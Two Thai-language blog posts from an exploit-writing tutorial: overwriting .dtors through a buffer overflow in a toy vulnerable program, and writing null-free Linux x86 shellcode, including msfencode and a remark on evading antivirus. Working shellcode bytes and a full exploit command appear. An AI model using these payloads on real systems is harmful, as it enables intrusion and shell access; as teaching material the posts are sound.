Friday, February 25, 2011

Overwriting dtors

ในหัวข้อนี้ ผมจะพูดถึงเทคนิคการเขียน exploit ด้วยการ overwrite C destructor ซึ่งเทคนิคนี้ ไม่สามารถใช้ได้แล้วใน GCC version ที่ใช้กันอยู่ แต่ที่พูดถึงก็เพื่อเป็นตัวอย่างในการศึกษา

หลายคนอาจไม่รู้ว่าใน glibc นั้นมี constructor และ destructor ด้วย วัตถุประสงค์จะเหมือนใน C++ คือส่วนที่ทำงานก่อนโปรแกรมจะเริ่มที่ main() และส่วนที่ทำงานก่อนโปรแกรมจะจบ (หลัง main()) รวมถึงการออกด้วย exit() เช่นตามตัวที่อย่างที่ 1 (ex_08_1.c)

/* gcc-3.4 -o ex_08_1 ex_08_1.c */
#include <stdio.h>

void test_ctor() __attribute__ ((constructor));
void test_dtor() __attribute__ ((destructor));

void test_ctor()
{
    printf("In ctor\n");
}

void test_dtor()
{
    printf("In dtor\n");
}

int main()
{
    printf("In main\n");
    printf("Address of test_ctor: %p\n", &test_ctor);
    printf("Address of test_dtor: %p\n", &test_dtor);
    return 0;
}

และเมื่อ compile ด้วย gcc-3 และ run จะได้ผลตามนี้

$ ./ex_08_1
In ctor
In main
Address of test_ctor: 0x804834c
Address of test_dtor: 0x8048360
In dtor

แล้วถ้าเราไล่ดู code จะพบว่า constructor นั้นถูกเรียกจาก __do_global_ctors_aux function และ destructor จะถูกเรียกจาก __do_global_dtors_aux โดย 2 functions นี้ เพิ่มขึ้นมาเมื่อเรา compile โปรแกรมด้วย gcc

Note: สำหรับคนที่อยากไล่ด้วย gdb ให้ใช้คำสั่ง objdump -f ex_08_1 เพื่อดู entry point ของโปรแกรม แล้ว set breakpoint ที่ entry point ก่อนจะเริ่มโปรแกรม

โดย function list ของ constructor และ destructor นั้นจะถูกเก็บไว้ใน .ctors และ .dtors section ซึ่งสามารถดูได้ด้วยคำสั่ง objdump ดังนี้

$ objdump -s -j .ctors ex_08_1

ex_08_1:     file format elf32-i386

Contents of section .ctors:
 80494e0 ffffffff 4c830408 00000000           ....L.......
$ objdump -s -j .dtors ex_08_1

ex_08_1:     file format elf32-i386

Contents of section .dtors:
 80494ec ffffffff 60830408 00000000           ....`.......

จากผลลัพธ์ของ objdump จะได้ว่า .ctors section นั้นถูกโหลดใน memory ที่ address 0x080494e0 และ .dtors section ที่ address 0x080494ec และสังเกตเห็นมั้ยครับว่าค่า 4c830408 กับ 60830408 คือ address ของ test_ctor() กับ test_dtor() ตามลำดับ เมื่อเราไล่ดู assembly code ของ __do_global_dtors_aux() function ที่ได้มาจาก objdump

$ objdump -d -j .text ex_08_1 | awk /^.*__do_global_dtors_aux\>:$/,/^$/
080482f4 <__do_global_dtors_aux>:
 80482f4:       55                      push   %ebp
 80482f5:       89 e5                   mov    %esp,%ebp
 80482f7:       83 ec 08                sub    $0x8,%esp
 80482fa:       80 3d ec 95 04 08 00    cmpb   $0x0,0x80495ec # check ว่า destructor ถูกเรียกไปหรือยัง
 8048301:       3e 74 0c                je,pt  8048310 <__do_global_dtors_aux+0x1c>
 8048304:       eb 1c                   jmp    8048322 <__do_global_dtors_aux+0x2e>
 8048306:       83 c0 04                add    $0x4,%eax
 8048309:       a3 e8 95 04 08          mov    %eax,0x80495e8
 804830e:       ff d2                   call   *%edx  # เรียก destructor function
 8048310:       a1 e8 95 04 08          mov    0x80495e8,%eax  # เอา address ที่เก็บ address ของ dtors ลง eax
 8048315:       8b 10                   mov    (%eax),%edx # โหลด address ของ destructor function ลง edx
 8048317:       85 d2                   test   %edx,%edx # จบการเรียก destructor ถ้า address เป็น 0
 8048319:       75 eb                   jne    8048306 <__do_global_dtors_aux+0x12>
 804831b:       c6 05 ec 95 04 08 01    movb   $0x1,0x80495ec
 8048322:       c9                      leave
 8048323:       c3                      ret

จะเห็นว่าใน __do_global_dtors_aux() จะวนเรียก function ที่อยู่ใน dtors จน address ของ function เป็น 0 ดังนั้นเมื่อเกิด buffer overflow แล้วเราสามารถเขียนทับที่ addresss ไหนก็ได้ การเขียนทับ address ของ dtor ก็เป็นวิธีหนึ่งที่ทำให้โปรแกรมทำงานที่ address ที่เราต้องการได้

เรามาดูตัวอย่าง exploit ที่ใช้วิธีการเขียนทับ dtors กันดีกว่า โดยผมให้โปรแกรมที่มีช่องโหว่ดังนี้ (ex_08_2.c)

/* gcc-3.4 -fno-pie -z norelro -z execstack -o ex_08_2 ex_08_2.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *ptr;
    char buf[512];

    ptr = buf;
    strcpy(buf, argv[1]);
    strcpy(ptr, argv[2]);

    exit(0);
}

จะเห็นว่าปัญหาของโปรแกรมนี้คือใช้ strcpy กับ input ของผู้ใช้ตรงๆ เหมือนตัวอย่างที่ผมเคยยกมา แต่ความแตกต่างคือมี exit(0); ซึ่งทำให้โปรแกรมไม่ได้จบ main() function ด้วยคำสั่ง assembly ret แต่เปลี่ยนเป็นออกโปรแกรมทันที ทำให้ shellcode ของเราไม่ทำงาน ถึงแม้ว่าเราจะเขียนทับ saved eip ก็ตาม

อีกหนึ่งประเด็นที่อย่างให้เห็นคือ ถ้าเราใส่ค่า argv[1] ไปยาวมากๆ จะทำให้ค่า argv ซึ่งเป็น argument ของ main function ถูกเปลี่ยนไปด้วย ทำให้การอ้างถึง argv[2] ในบรรทัดถัดไป อาจไปอ้างถึง address ที่ invalid (หวังว่ายังจำกันได้ว่า function argument อยู่ข้างล่าง saved eip) ทำให้โปรแกรม crash ก่อนที่โปรแกรมจะเริ่มทำงาน shellcode ของเรา ดังนั้นเวลาเขียน exploit สิ่งหนึ่งที่ต้องระวังคือ ต้องไม่ทำให้โปรแกรม crash ก่อนที่จะโปรแกรมจะมาทำงานในส่วนที่เราต้องการ

แล้วสิ่งที่เราสามารถทำได้ละ ถ้าลองดูที่ assembly ของโปรแกรมนี้ (ข้างล่าง) จะเห็นว่าตัวแปร ptr อยู่ข้างล่าง buf ซึ่งทำให้เราสามารถแก้ไขค่า ptr ได้ โดยการ overflow ตัวแปร buf และคำสั่ง strcpy ที่สองคือการ copy ข้อมูลจาก argv[2] ไปที่ตัวแปร ptr ชี้อยู่ ดังนั้นสิ่งที่เราทำได้ในโปรแกรมนี้ เขียนข้อมูลที่ address ไหนก็ได้ใน memory โดยผมจะแสดงเฉพาะวิธีเขียนทับ dtor (ในตัวอย่างนี้ผมไม่มีการ setuid นะครับ ทำแค่ spawn shell อย่างเดียว)

ก่อนอื่นเรามาดูว่าเราต้องใส่ข้อมูลเท่าไรถึงจะ overwrite ค่า ptr ได้ ซึ่งเมื่อดูใน assembly จะได้ว่าต้องเขียนไป 0x218-0xc = 0x20c = 524 bytes ก่อนจะถึง ptr (วิธีไล่ของผมก็คือหาคำสั่ง strcpy ก่อน แล้วค่อยจะหาตำแหน่งของ buf กับ ptr จากที่ถูกส่งเป็น argument แรก)

$ objdump -d -j .text ex_08_2 | awk /^.*main\>:$/,/^$/
0804837c <main>:
 804837c:       55                      push   %ebp
 804837d:       89 e5                   mov    %esp,%ebp
 804837f:       81 ec 28 02 00 00       sub    $0x228,%esp
 8048385:       83 e4 f0                and    $0xfffffff0,%esp
 8048388:       b8 00 00 00 00          mov    $0x0,%eax
 804838d:       83 c0 0f                add    $0xf,%eax
 8048390:       83 c0 0f                add    $0xf,%eax
 8048393:       c1 e8 04                shr    $0x4,%eax
 8048396:       c1 e0 04                shl    $0x4,%eax
 8048399:       29 c4                   sub    %eax,%esp
 804839b:       8d 85 e8 fd ff ff       lea    -0x218(%ebp),%eax
 80483a1:       89 45 f4                mov    %eax,-0xc(%ebp)
 80483a4:       8b 45 0c                mov    0xc(%ebp),%eax
 80483a7:       83 c0 04                add    $0x4,%eax
 80483aa:       8b 00                   mov    (%eax),%eax
 80483ac:       89 44 24 04             mov    %eax,0x4(%esp)
 80483b0:       8d 85 e8 fd ff ff       lea    -0x218(%ebp),%eax  # buf อยู่ที่ ebp-0x218
 80483b6:       89 04 24                mov    %eax,(%esp)
 80483b9:       e8 1e ff ff ff          call   80482dc   # strcpy แรก
 80483be:       8b 45 0c                mov    0xc(%ebp),%eax
 80483c1:       83 c0 08                add    $0x8,%eax
 80483c4:       8b 00                   mov    (%eax),%eax
 80483c6:       89 44 24 04             mov    %eax,0x4(%esp)
 80483ca:       8b 45 f4                mov    -0xc(%ebp),%eax  # ptr อยู่ที่ ebp-0xc
 80483cd:       89 04 24                mov    %eax,(%esp)
 80483d0:       e8 07 ff ff ff          call   80482dc  # strcpy ที่สอง
 80483d5:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 80483dc:       e8 0b ff ff ff          call   80482ec 
...

ต่อมาคือตำแหน่งของ dtor ที่เราต้องการจะเขียนทับ โดยเราจะนำค่านี้มาเขียนทับ ptr จะได้ตำแหน่งที่เราต้องการจะเขียนทับคือ 0x80494bc

$ objdump -s -j .dtors ex_08_2

ex_08_2:     file format elf32-i386

Contents of section .dtors:
 80494b8 ffffffff 00000000                    ........

สุดท้าย คือ address ของ shellcode ของเราที่จะใส่เข้าไป โดยในตัวอย่างนี้ผมจะใส่ shellcode ไว้ใน buf ดังนั้นสิ่งที่เราต้องหาคือ address ของ buf แต่คราวนี้ผมจะใช้ core file เพื่อหา address ของ shellcode ที่จะใส่เข้าไป

$ ulimit -c unlimited
$ ./ex_08_2 `perl -e 'print "A"x528'` `perl -e 'print "B"x4'`
$  gdb -q ex_08_2 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6  # จะเห็นว่าโปรแกรม crash ใน strcpy เพราะว่า ptr ชี้ไปที่ invalid address
#1  0x080483d5 in main ()
(gdb) x/16x $ebp
0xbffff2e8:     0xbffff528      0x080483d5      0x41414141      0xbffff913   # จะเห็นว่าค่า ptr เป็น 0x41414141 (argument ของ strcpy)
0xbffff2f8:     0xbffff30c      0x00124985      0x00000008      0x00000000
0xbffff308:     0xbffff40c      0xbffff354      0x41414141      0x41414141   # buf เริ่มที่ 0xbffff310
0xbffff318:     0x41414141      0x41414141      0x41414141      0x41414141

จะได้ว่า buf เราเริ่มที่ 0xbffff310 และผมจะใช้ execve("/bin/sh") shellcode ที่ได้จากหัวข้อการเขียน Linux x86 Shellcode ขนาด 21 bytes ดังนั้น nop เราจะมีขนาด 524-21 = 503 bytes ดังนั้น exploit จะเป็นดังนี้

$ ./ex_08_2 `perl -e 'print "\x90"x503 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\xbc\x94\x04\x08"'` `perl -e 'print "\x10\xf3\xff\xbf"'`
$ exit

ทำได้แล้ว แต่อย่างที่ผมบอกไปตอนต้นว่า เทคนิคนี้ใช้ไม่ได้แล้ว เรามาดูกันดีกว่าว่าทำไม ด้วยการลอง compile โปรแกรมที่สองด้วย gcc 4

$ gcc -fno-pie -z norelro -z execstack -o ex_08_2_gcc4 ex_08_2.c
$ objdump -s -j .dtors ex_08_2_gcc4

ex_08_2_gcc4:     file format elf32-i386

Contents of section .dtors:
 804952c ffffffff 00000000                    ........
$ objdump -d -j .text ex_08_2_gcc4 | awk /^.*__do_global_dtors_aux\>:$/,/^$/
08048370 <__do_global_dtors_aux>:
 8048370:       55                      push   %ebp
 8048371:       89 e5                   mov    %esp,%ebp
 8048373:       53                      push   %ebx
 8048374:       83 ec 04                sub    $0x4,%esp
 8048377:       80 3d 30 96 04 08 00    cmpb   $0x0,0x8049630
 804837e:       75 3f                   jne    80483bf <__do_global_dtors_aux+0x4f>
 8048380:       a1 34 96 04 08          mov    0x8049634,%eax
 8048385:       bb 30 95 04 08          mov    $0x8049530,%ebx  # เอา address สุดท้ายของ .dtor secion ลง ebx
 804838a:       81 eb 2c 95 04 08       sub    $0x804952c,%ebx  # ลบกับ address แรก ของ .dtor section
 8048390:       c1 fb 02                sar    $0x2,%ebx  # แล้วหารด้วย 4
 8048393:       83 eb 01                sub    $0x1,%ebx  # แล้วลบด้วย 1 จะได้จำนวนของ destructor function
 8048396:       39 d8                   cmp    %ebx,%eax
 8048398:       73 1e                   jae    80483b8 <__do_global_dtors_aux+0x48>
 804839a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi
 80483a0:       83 c0 01                add    $0x1,%eax
 80483a3:       a3 34 96 04 08          mov    %eax,0x8049634
 80483a8:       ff 14 85 2c 95 04 08    call   *0x804952c(,%eax,4)
 80483af:       a1 34 96 04 08          mov    0x8049634,%eax
 80483b4:       39 d8                   cmp    %ebx,%eax  # ลูปจนจำนวนที่เรียก desturctor function เท่ากับที่คำนวณได้
 80483b6:       72 e8                   jb     80483a0 <__do_global_dtors_aux+0x30>
 80483b8:       c6 05 30 96 04 08 01    movb   $0x1,0x8049630
 80483bf:       83 c4 04                add    $0x4,%esp
 80483c2:       5b                      pop    %ebx
 80483c3:       5d                      pop    %ebp
 80483c4:       c3                      ret

เมื่ออ่าน assembly แล้วจะเห็นว่า เมื่อ compile ด้วย gcc4 ใน __do_global_dtors_aux function จะทำการหาจำนวนของ destructor function จาก .dtors section ซึ่งใส่ค่าตายตัวลงไป ทำให้ถึงแม้เราจะเขียนเพิ่มเหมือนในตัวอย่างที่ผ่านมา โปรแกรมก็จะไม่มีการเรียกไปที่ address ที่เราใส่เข้าไป ยกเว้นในโปรแกรมนั้น จะมี destructor function อยู่แล้ว


Reference:
- Izik 'Abusing .CTORS and .DTORS for fun 'n profit' (VX heavens)

Thursday, February 3, 2011

การเขียน Linux x86 Shellcode

ในหัวข้อ "Buffer Overflow ให้โปรแกรม spawn shell" นั้น ผมได้ให้ shellcode สำหรับ spawn shell ซึ่งคงเห็นกันแล้วว่าหน้าตา shellcode เป็นยังไง (มันก็คือ machine code นั่นแหละ) และในหัวข้อนี้ ผมจะอธิบายวิธีการเขียน shellcode บน Linux x86 (หัวข้อนี้จะต้องใช้ assembly เกือบหมดนะครับ ดังนั้นผมเลยเขียนเป็น nasm syntax ไว้ด้วยใน ex_07.tgz เพื่อความถนัดของแต่ละคน)

การทำงานของแต่ละ process โดยปกติจะทำงานอยู่ใน user mode และเมื่อโปรแกรมต้องการเรียกใช้งานที่เกี่ยวกับ Operating System จะต้องทำการเรียก System Call (เช่น fork, execve, read, write) โดยจะมีการส่ง parameters เพื่อบอกว่าต้องการทำอะไร คล้ายๆ กับการเรียก function แล้ว process นั้นจะสลับการทำงานไปอยู่ใน kernel mode และสลับกับมาทำงานใน user mode เมื่อทำงานเสร็จ (เหมือนจบ function) หรืออาจจะกล่าวได้ว่า System Calls คือ functions สำหรับเรียกใช้งาน OS

โดยปกติการเรียก system call จะทำการเรียกผ่าน C library (libc) ซึ่งทำหน้าที่เป็น wrapper เพื่อให้ code เรา port ไป compile บน OS อื่นได้ (วิธีการเรียก system call ของแต่ละ OS ไม่จำเป็นต้องเหมือนกัน) สำหรับ Linux นั้น system call จะเป็นหมายเลขเพื่อกำหนดว่าจะให้ทำอะไร ซึ่งสามารถดูได้ที่ไฟล์ /usr/include/asm/unistd.h (สำหรับคนใช้ Ubuntu 10.04 จะเห็นในไฟล์มีแค่ include ไฟล์อื่น เนื่องด้วยผมอธิบายเฉพาะ 32 bit ดังนั้นให้ใช้ไฟล์ unistd_32.h) แต่ถ้าใครชอบดู online ก็ดูได้ที่ http://syscalls.kernelgrok.com/ โดยผมได้เอาส่วนที่ผมจะพูดถึงต่อไปมาแสดงไว้ข้างล่าง

#define __NR_restart_syscall      0
#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_execve              11
#define __NR_setuid              23
#define __NR_setgid              46
#define __NR_geteuid             49
#define __NR_dup2                63
#define __NR_setreuid            70
#define __NR_socketcall         102
#define __NR_exit_group         252

ส่วนวิธีการเรียกใช้ system call ด้วย assembly คือใส่หมายเลขของ system call ไว้ที่ register eax และ arguments ต่างๆ ไว้ใน register ebx, ecx, edx, esx, edi, ebp ตามลำดับ แต่ถ้า arguments มีเกิน 6 ตัวก็ให้ใส่ address ของ argument array ไว้ที่ ebx หลังจากกำหนดค่าต่างๆใน register แล้วก็ใช้ interrupt หมายเลข 0x80 และ้ผลลัพธ์ของ system call จะ return กลับมาที่ eax

พูดถึง system call ไปพอสมควร ตอนนี้เรามาเข้าเรื่อง shellcode กันดีกว่า shellcode คือ code ที่เราต้องการให้ทำงาน เมื่อเราสามารถเปลี่ยนแปลงให้โปรแกรมไปทำงานที่ code ของเราได้ โดยสิ่งสำคัญของ shellcode ควรมีขนาดเล็ก เพราะโดบปกติขนาดของ memory ที่เราสามารถ inject code เข้าไปนั้นมีขนาดจำกัด และความแตกต่างที่สำคัญของ shellcode กับโปรแกรมปกติ คือ ถ้าต้องมีการใช้ส่วนที่เป็นข้อมูล ก็ต้องอยู่ใน shellcode ของเรา ไม่มีการแบ่งเป็น section เหมือนโปรแกรมทั่วไป

Exit Shellcode

เรามาดูตัวอย่างแรกกันดีกว่า (ex_07_1.c) เพื่อเขียน exit system call อย่างที่ผมได้บอกว่า libc เป็น wrapper ดังนั้นวิธีหนึ่งในการดูวิธีเรียก system call คือเขียน code เป็น C แล้ว compile ด้วย -static option หลังจากนั้นใช้ gdb เพื่อดูว่า assembly นั้นเขียนอย่างไร

/* gcc -static -o ex_07_1 ex_07_1.c */
#include <stdlib.h>
int main(int argc, char **argv)
{
    exit(1);
}
$ gdb -q ./ex_07_1
Reading symbols from /home/worawit/tutz/ch07/ex_07_1...(no debugging symbols found)...done.
(gdb) disass main
...  # ไล่ไปเรื่อยๆ จนเจอ function _exit ใน function __run_exit_handlers
(gdb) disas _exit
Dump of assembler code for function _exit:
 0x0804f700 <+0>:     mov    0x4(%esp),%ebx  # ใส่ argument ที่ 1 (exit value) ไว้ที่ ebx
 0x0804f704 <+4>:     mov    $0xfc,%eax      # ใส่หมายเลข system call exit_group ไว้ที่ eax
 0x0804f709 <+9>:     int    $0x80           # system call
 0x0804f70b <+11>:    mov    $0x1,%eax # ใส่หมายเลข system call exit ไว้ที่ eax (ebx ใช้ค่าเดิม)
 0x0804f710 <+16>:    int    $0x80           # system call
 0x0804f712 <+18>:    hlt
End of assembler dump.

อีกวิธี เพื่อดูว่ามีการเรียก system call อะไร ด้วย argument อะไรบ้าง คือคำสั่ง strace

$ strace ./ex_07_1
execve("./ex_07_1", ["./ex_07_1"], [/* 20 vars */]) = 0
...
exit_group(1)                           = ?

จะเห็นว่า ผลที่ได้จาก gdb และ strace นั้น แสดงว่า libc ใช้ exit_group system call แล้ว exit_group คืออะไร และทำไมถึงไม่ใช่ exit system call ละ exit_group system call คือคำสั่งที่ใช้สำหรับ exit ทุก thread แต่ exit system call จะออกเฉพาะ thread ของตัวเองเท่านั้น เนื่องด้วย libc เป็น wrapper เพื่อความสะดวกของ programmer จึงได้เขียนให้ exit() function นั้นเรียก exit_group

หลังจากเห็นเกี่ยวกับ exit system call มาพอสมควร เรามาเริ่มเขียนกันใน assembly กันดีกว่า โดยผมจะใช้ AT&T syntax นะครับ ซึ่งจะได้ดังนี้ (ex_07_2.s)

.data
.text

.globl _start

_start:

# exit(0)
movl $0x1,%eax
movl $0,%ebx
int  $0x80

ใช้คำสั่ง as เพื่อ compile เป็น machine code ใน object file และใช้คำสั่ง objdump เพื่อดู machine code

$ as -o ex_07_2.o ex_07_2.s
$ objdump -d ex_07_2.o

ex_07_2.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0:   b8 01 00 00 00          mov    $0x1,%eax
   5:   bb 00 00 00 00          mov    $0x0,%ebx
   a:   cd 80                   int    $0x80

จะได้ shellcode คือ

\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80

โดยเราสามารถทดสอบ shellcode ของเราได้โดยใช้ C code ที่เป็น template ที่เตรียมไว้ไฟล์ testshellcode.c (ไม่แสดง code นะครับ) แต่จะเห็นว่ากว่าจะได้ shellcode เราต้องทำทีละ command และค่อย copy machine code ออก ผมจึงได้เขียน shell script สำหรับทำทั้งหมดไว้แล้ว (build-sc.sh และ clean-sc.sh)

$ build-sc.sh ex_07_2
Compiling ex_07_2.s to ex_07_2.o

Extracting shellcode from ex_07_2.o to ex_07_2.sc
\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80

Creating ex_07_2.sctest.c

Compiling ex_07_2.sctest.c to ex_07_2.sctest
$ ls ex_07_2*
ex_07_2.o  ex_07_2.s  ex_07_2.sc  ex_07_2.sctest  ex_07_2.sctest.c

วิธี check ว่า shellcode เราเรียก system call ถูกต้องคือใช้ strace จะเห็นว่ามีการเรียก exit system call ตามนี้

$ strace ./ex_07_2.sctest
execve("./ex_07_2.sctest", ["./ex_07_2.sctest"], [/* 20 vars */]) = 0
...
_exit(0)                                = ?

ได้แล้ว exit shellcode แต่จะเห็นว่าตอนนี้ shellcode ของเรามีขนาด 12 bytes และที่สำคัญคือมี \x00 ซึ่งปัญหา buffer overflow ส่วนมากเกิดจาก function พวก strcpy() ที่จะหยุด copy เมื่อเจอ \x00 ทำให้ไม่สามารถ copy shellcode ของเราไปทั้งหมด ดังนั้นสิ่งที่เราควรจะแก้คือทำให้ไม่มี \x00 ซึ่งอาจทำการแก้ assembly code ได้ดังนี้ (ex_07_3.s)

.data
.text

.globl _start

_start:

# exit(0)
xorl %eax,%eax   # ใช้ xor เพื่อกำหนดค่า eax เป็น 0
xorl %ebx,%ebx   # ใช้ xor เพื่อกำหนดค่า ebx เป็น 0
movb $1,%al  # กำหนดค่า eax เป็น 1 สามารถใช้ movb ลงใน al เพราะ eax เป็น 0 แล้ว และทำให้ไม่ให้มี \x00
int  $0x80

ซึ่งเมื่อ compile และดูด้วย assembly code ด้วย objdump จะได้

$ build-sc-gas.sh ex_07_3
...
Extracting shellcode from ex_07_3.bin to ex_07_3.sc
\x31\xc0\x31\xdb\xb0\x01\xcd\x80
...
$ objdump -d ex_07_3.o
...
00000000 <_start>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   b0 01                   mov    $0x1,%al
   6:   cd 80                   int    $0x80

จะเห็นว่า exit shellcode ใหม่ของเรานั้นไม่มี \x00 และมีขนาด 8 bytes แต่ถ้าเราไม่สนใจ exit code คือค่า ebx เป็นอะไรก็ได้ เราก็สามารถที่จะเอาคำสั่ง xor ebx ออกได้ ก็จะได้ shellcode ขนาด 6 bytes

Bad Characters (badchars)

badchars คือตัวอักษรที่ใช้ไม่ได้ใน payload ซึ่งส่วนมากจะมีอยู่ 2 สาเหตุคือใส่ไปแล้วจะทำให้โปรแกรมรับข้อมูลเราได้ไม่หมด กับโดนเปลี่ยนเป็นตัวอักษรอื่น เช่นถ้า code มีปัญหาที่ str*() ใน payload ของเราจะไม่สามารถที่จะใช้ตัวอักษร \x00 ได้ ตัวอักษร \x00 ก็จะเป็น badchar

สำหรับตัวอย่างและโจทย์ที่ผมให้ เราสามารถรู้ badchars จาก code แต่โดยปกติวิธีการหา badchars ในโปรแกรมใหญ่ๆ และโปรแกรมที่ไม่มี source code จะทำโดยจากส่งค่าตั้งแต่ 0x00 ถึง 0xff แล้วทำการเปรียบเทียบกับค่าใน memory หลังจากที่โปรแกรมรับข้อมูลไปแล้ว

ในหัวข้อนี้ เวลาเขียน shellcode ผมจะสมมติว่า badchar คือ \x00 ตัวเดียว ยกเว้นผมจะระบุไว้ และเราจะทำการหลีกเลี่ยง badchars แบบ manual ด้วยวิธีการเปลี่ยนคำสั่ง assembly แต่การทำงานยังเหมือนเดิม สำหรับหัวข้อหลังๆ ที่ต้องใช้ payload ที่มีความซับซ้อนมากขึ้น ผมจะใช้ msfpayload กับ msfencode เพื่อสร้าง shellcode และหลีกเลี่ยง badchars

ตัวอย่างสำหรับการใช้ msfencode เพื่อเลี่ยง badchars โดยสมมติว่า badchar คือ \x00 กับ \xc0 เราสามารถทำได้ดังนี้

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | msfencode -b '\x00\xc0' -t c
[*] x86/shikata_ga_nai succeeded with size 36 (iteration=1)

unsigned char buf[] =
"\xdd\xc1\xb8\xfa\x64\xfa\x88\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x03\x83\xc2\x04\x31\x42\x13\x03\xb8\x77\x18\x7d\x0d\xb8\xed"
"\xa5\xdd\x39\xc3\xda";

จะเห็นว่า shellcode ใหม่นั้น ไม่มีตัวอักษร \x00 กับ \xc0 และถ้าลองเอาไปทดสอบ จะเห็นว่าได้ผลเหมือนเดิม ซึ่งประโยชน์ของ encoder นอกจากใช้หลีกเลี่ยง badchars แล้วยังสามารถช่วย bypass AV กับ IDS ได้ เพราะการทำงานของ encoder จะคล้ายๆ กับการทำงานของพวก protector/packer

Shellcode สำหรับ Spawning Shell

คราวนี้ก็มาถึง shellcode ที่ผมเคยให้ไป แต่เพื่อไม่ให้ยาว ผมไม่เขียนภาษา C ให้ดูนะครับ argument ของ execve system call จะตรงกับ execve ใน libc ทั้งหมด โดยเป้าหมายแรกที่เราต้องการคือ ให้ shellcode รันเหมือนกับคำสั่ง execve("/bin/sh", { "/bin/sh", 0}, 0) ซึ่งต้องมีกำหนดค่า register ต่อไปนี้
- eax เป็น 0xb (system call number)
- ebx (argument ที่ 1) เป็น address ของ "/bin/sh"
- ecx (argument ที่ 2) เป็น address ของ { "/bin/sh", 0 }
- edx (argument ที่ 3) เป็น 0

ถ้าใครลองเขียนเอง จะเห็นความแตกต่างจาก exit shellcode คือ execve ต้องการ string "/bin/sh" และต้องการ array of pointers ที่ชี้ไป string "/bin/sh" กับ NULL วิธีหนึ่งคือนำ string ไปต่อท้าย shellcode แต่ปัญหาต่อไป คือเราจะรู้ address ของ string เราได้ยังไง

โดยปกติ เพื่อให้โปรแกรม run shellcode ของเรา เราจะต้อง overflow เพื่อเปลี่ยน eip ชี้ไปยัง shellcode ของเรา และยังจำได้มั้ยครับว่าคำสั่ง call ใน assembly เปรียบเสมือน "push eip" แล้ว "jmp addr" ดังนั้นถ้าเราใช้ call หลังจากที่ eip ชี้ไปที่ shellcode ของเรา ใน stack ก็จะมีค่า address ของหลังคำสั่ง call ทำให้เราสามารถเอาค่าออกมาได้จาก stack ด้วยคำสั่ง pop ซึ่งจะได้ assembly คร่าวๆ คือ

jmp  binsh  # กระโดดไปส่วนของ string ก่อน เพื่อหา address

shellcode:
pop %ebx    # pop เอา address ของ "/bin/sh" ไว้ใน ebx (ค่า ebx เป็นที่เราต้องการแล้ว)
# ... กำหนดค่าต่างๆ ของ registers

binsh:
call shellcode   # เพื่อ push eip ลงใน stack
.asciz "/bin/sh"  # string "/bin/sh" ไว้หลัง call เพื่่อให้ saved eip ชี้มาที่ address นี้พอดี

ได้ argument แรกแล้ว ต่อไป argument ที่ 2 คือ array of pointers ที่ชี้ไป { "/bin/sh", 0 } (ดูรูปประกอบ) วิธีหนึ่งคือสร้างต่อท้ายหลัง string "/bin/sh" โดย 4 bytes แรกจะเก็บ address ของ "/bin/sh" และ 4 bytes ถัดไปเก็บค่า 0 ทำให้ได้ assembly ตามนี้ (ex_07_4.s)

.data
.text

.globl _start

_start:

# execve("/bin/sh", {"/bin/sh",0}, 0)
jmp  binsh

shellcode:
pop  %ebx
xorl %eax,%eax      # set eax เป็น 0 ก่อน เพื่อนำค่า 0 ไปใช้
movb %al,0x7(%ebx)  # ให้แน่ใจว่า string "/bin/sh" ลงท้ายด้วย NULL
leal 0x8(%ebx),%ecx # กำหนดค่า ecx (arg2) ไว้ที่หลัง string "/bin/sh"
movl %ebx,(%ecx)    # ใส่ address ของ "/bin/sh" ไว้ใน array
movl %eax,0x4(%ecx) # ใส่ 0 ไว้ใน array
xorl %edx, %edx     # set edx เป็น 0 (arg 3)
movb $0xb,%al       # ใส่ system call number
int  $0x80

binsh:
call shellcode
.asciz "/bin/sh"

เมื่อเราลอง compile และทดสอบดูจะได้ผลตามที่เราต้องการ ถ้าดูขนาดจะเห็นว่า shellcode นี้มีขนาด 34 bytes แต่ขนาดของ shellcode ที่ผมเคยให้ไว้มีขนาดเพียงแค่ 24 bytes ซึ่งใช้วิธีการสร้าง string โดย push ลงใน stack และใช้ stack ในการสร้าง array of pointers (ดูรูปข้างล่างประกอบ) แต่การ push ลง stack จะต้องทำทีละ 4 bytes และเพื่อจะให้ไม่มี \x00 เราจะใช้ "//bin/sh" แทนเพื่อให้มีขนาด 8 bytes และได้ผลเหมือนเดิม โดยเขียนเป็น assembly ได้ดังนี้ (ex_07_5.s)

.data
.text

.globl _start

_start:

# execve("//bin/sh", {"//bin/sh",0}, 0)
xorl %eax,%eax   # set eax เป็น 0
push %eax        # ใส่ NULL for "//bin/sh"
push $0x68732f6e # n/sh
push $0x69622f2f # //bi
movl %esp,%ebx   # set ebx ให้เป็น address ของ "/bin/sh" (top of stack)
#xorl %edx,%edx   # set edx เป็น 0 (ใช้ 2 bytes)
cltd # อีกวิธีในการ set edx เป็น 0 โดยใช้ 1 bytes ใช้คำสั่งนี้ได้เพราะ eax เป็น 0 (สำหรับ nasm ต้องใช้ cdq)
push %edx        # ใส่ NULL สำหรับ array of pointers ตัวที่สอง
push %ebx        # ใส่ address ของ "/bin/sh" สำหรับ array of pointers ตัวแรก
movl %esp,%ecx   # กำหนด ecx ให้เป็น address ของ array of pointers (top of stack)
movb $0xb,%al    # กำหนด execve system call
int  $0x80

